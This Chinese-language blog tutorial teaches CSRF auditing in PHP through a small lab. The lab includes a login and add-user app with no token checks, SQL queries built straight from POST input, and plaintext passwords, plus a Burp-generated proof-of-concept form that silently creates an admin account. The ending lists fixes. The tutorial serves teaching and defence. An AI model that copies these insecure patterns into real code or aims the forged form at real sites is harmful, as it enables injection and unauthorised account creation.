PHP代码审计基础:CSRF漏洞

文章目录

CSRF

CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

漏洞危害

修改用户信息,如用户的头像、发货地址等。更有甚者,可能执行恶意操作,比如修 改密码、添加/删除好友或者点赞/转发/评论/私信。

挖掘思路

  • 后台功能模块:管理后台、用户中心、添加用户等
  • 被引用的核心文件里面有没有验证Token和referer的相关代码
  • 没带Token:可以直接请求这个页面
  • 没带referer:返回相同的数据

环境搭建

我们先来写几个简单的页面,用来测试csrf。

conn.php:

<?php

$conn = mysqli_connect("localhost","root","root","admin");
mysqli_query($conn,"SET NAMES GB2312");

index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>用户登录</title>
</head>
<body>
<form action="login.php" method="post">
    用户名:<input type="text" name="username"><br><br>
    密 码:<input type="password" name="password"><br><br>
    <input type="submit" value="登录" name="submit">
</form>
</body>
</html>

login.php:

<meta charset="UTF-8">
<?php
# 判断POST是否为空
if(!isset($_POST['submit']))
{
    echo '<script>alert("非法访问!")</script>';
    echo '<a href="index.html">返回登录</a>或者';
    echo '<a href="add.html">前往注册</a>';
    exit();
}
# 传值赋值
$username = $_POST['username'];
$password = $_POST['password'];
# 包含配置文件
include('conn.php');
# 构造SQL语句
$sql = "SELECT * FROM USER WHERE username='$username' and password='$password'";
# 接收结果集
$result = mysqli_query($conn,$sql) or die("执行Mysql语句失败!".mysqli_error($conn));
# 判断结果集是否赋值给了$row
if($row = mysqli_fetch_array($result))
{
    # 启用新会话
    session_start();
    $_SESSION['username'] = $row['username'];
    echo '欢迎',$_SESSION['username'].'登录系统!';
    echo "<a href='add.html'>添加用户</a>";
}else{
    echo "<script>alert('账号或密码错误!')</script>";
    echo "<a href=index.html>返回登录</a>";
}

add.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>添加用户</title>
</head>
<body>
<meta charset="UTF-8">
<form action="add.php" method="post">
    I D:<input type="text" name="ID"><br><br>
    用户名:<input type="text" name="username"><br><br>
    密码:<input type="password" name="password"><br><br>
    <input type="submit" value="确认添加" name="add">
</form>
</body>
</html>

add.php:

<meta charset="UTF-8">
<?php
# 开启新会话
session_start();
# 判断SESSION中的name值是否为空
if (!isset($_SESSION['username']))
{
    echo "<script>alert('非法访问,请注册!')</script>";
    echo '<a href="add.html">前往注册</a>';
    exit();
}
# 传值赋值
$id = $_POST['ID'];
$username = $_POST['username'];
$password = $_POST['password'];
# 包含配置文件
include "conn.php";
# 构造SQL语句
$sql = "INSERT INTO user(ID,username,password) VALUES('$id','$username','$password')" or die('语句执行失败!'.mysqli_error($conn));
# 接收结果集
$result =mysqli_query($conn,$sql);
# 判断结果集书否存在
if ($result)
{
    echo '用户'.$username.'添加成功!';
}else
{
    echo('添加失败!');
}
?>

实施攻击

假如我们没有账号,也无法完成添加用户的这个操作,那么我们就可以在本地搭建一个一样的CMS,抓一下它注册的数据包,搭建一个钓鱼网站,诱导处于活跃状态的管理员去点击。

抓包 -->右键构造CSRF验证页面:
PHP代码审计基础:CSRF漏洞

Poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://1.1.1.137:8888/csrf/add.php" method="POST">
      <input type="hidden" name="ID" value="11" />
      <input type="hidden" name="username" value="hack" />
      <input type="hidden" name="password" value="hack" />
      <input type="hidden" name="add" value="ç&#161;&#174;è&#174;&#164;æ&#183;&#187;å&#138;&#160;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

现在我们登录系统账号,来扮演上当受骗的管理员:
PHP代码审计基础:CSRF漏洞

我们去访问钓鱼页面并点击按钮,成功触发CSRF漏洞:
PHP代码审计基础:CSRF漏洞

攻击条件

  • 目标存在CSRF漏洞
  • 受害者需要保持目标站点的活跃状态
  • 受害者需要点击钓鱼链接

修复方案

  • 验证码
  • 添加 Referer验证
  • 添加 Token验证
上一篇:python Djanjo csrf说明与配置


下一篇:web--安全知识点